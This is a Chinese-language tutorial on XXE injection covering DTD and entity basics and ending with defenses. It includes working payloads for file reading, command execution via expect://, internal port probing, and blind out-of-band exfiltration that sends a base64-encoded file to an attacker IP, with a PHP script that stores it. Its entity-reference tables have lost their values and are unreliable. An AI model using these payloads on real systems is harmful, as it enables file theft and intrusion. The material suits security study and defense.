目录
漏洞原理
XXE Injection( XML External Entity Injection, XML 外部实体注入攻击) 攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。 对于 XXE 漏洞最为关键的部分是 DTD 文档类型 , DTD 的作用是定义 XML 文档的合法构建模块。 DTD 可以在 XML 文档内声明, 也可以外部引用, libxml2.9.1 及以后, 默认不再解析外部实体。
漏洞危害
当允许引用外部实体时, 通过恶意构造, 可以导致以下常见的危害:
-
任意文件读取
-
执行系统命令
-
探测内网端口
前置知识
XML简介
XML 指可扩展标记语言,XML 被设计用来传输和存储 数据,你可以理解为就是⼀种写法类似于html语⾔的数据格式⽂档。但是xml跟html是为不同⽬的⽽设计的,html旨在显⽰数据信息,⽽xml旨在传输数据信息。
DTD简介
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
DTD 的两种声明方式
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
1.内部DTD:对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
2.外部DTD:对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
注释:这里只介绍外部DTD。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<root>&xxe;</root>
!ELEMENT root ANY 定义元素为ANY,既可以接受任何元素;
!ENTITY xxe SYSTEM "file:///c:/test.dtd" 定义了一个外部实体,文档会对c:/test.dtd文件资源进行引用,这是一种用SYSTEM关键字的引用方式。
实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
-
实体引用是对实体的引用。
-
实体可在内部或外部进行声明。
实体分类
内置实体(Built-inentities)
|------|------|----------|
| 实体 | 实体引用 | 含义 |
| quot | " | 双引号 |
| amp | & | ("and"符) |
| apos | ' | (撇号或单引号) |
| lt | < | 小于号 |
| gt | > | 大于号 |
字符实体(Characterentities)
|------|----|--------|---------|
| 实体名称 | 符号 | 十进制参考 | 十六进制参考 |
| quot | " | "; | "; |
| amp | & | &; | &; |
| apos | ' | '; | '; |
| lt | < | <; | <; |
| gt | > | >; | >; |
其中内置实体和字符实体都和html的实体编码类似,有十进制和十六进制,一个实体由三部分构成:一个和号(&),一个实体名称,以及一个分号(;)。
通用实体(Generalentities)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
参数实体(Parameterentities)
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%remote-dtd;
remote.dtd:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
XXE漏洞出现场景
-
XXE漏洞主要是关注测试的目标系统,是否存在请求传输XML数据格式的API,如果遇到有XML数据格式传输的请求,就可进一步操作看是否存在XXE漏洞。
-
可上传excel文件的上传点、图片上传点
XXE漏洞利用
有回显XXE和无回显XXE
任意文件读取
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
系统命令执行
注意:在安装 expect 扩展的 PHP 环境里执行系统命令;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://ipconfig" >]>
<foo>&xxe;</foo>
windows用ipconfig,linux用ifconfig
探测内网端口
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://192.168.1.6:22" >]>
<foo>&xxe;</foo>
可以在ip后面的端口爆破,爆破出开放的端口。
无回显XXE漏洞利用
<?xmlversion="1.0"encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-
encode/resource=/c:/windows/win.ini">
<!ENTITY %remote SYSTEM "http://192.168.220.132/entities.dtd">
%remote;
%all;
%send;
]>
entities.dtd 中代码如下:
<!ENTITY %all
"<!ENTITY % send SYSTEM 'http://192.168.64.130/test.php?file=%file;'>">
注:把"%"转成html实体编码是因为在实体的值中不能有%,所以需要转换成:%
test.php中的代码如下:
<?php
$file="./test.txt";
$content=base64_decode($_GET['file']);file_put_contents($file,$content);
echo"\n";
?>
XXE****防御措施
- 字符串实体编码
|----|---------|
| 字符 | 转义 |
| " | "; |
| & | &; |
| ' | &apos; |
| < | <; |
| > | >; |
2.过滤用户提交的 XML 数据, 关键词: , SYSTEM 和 PUBLIC;
3.禁用外部实体: libxml_disable_entity_loader(true);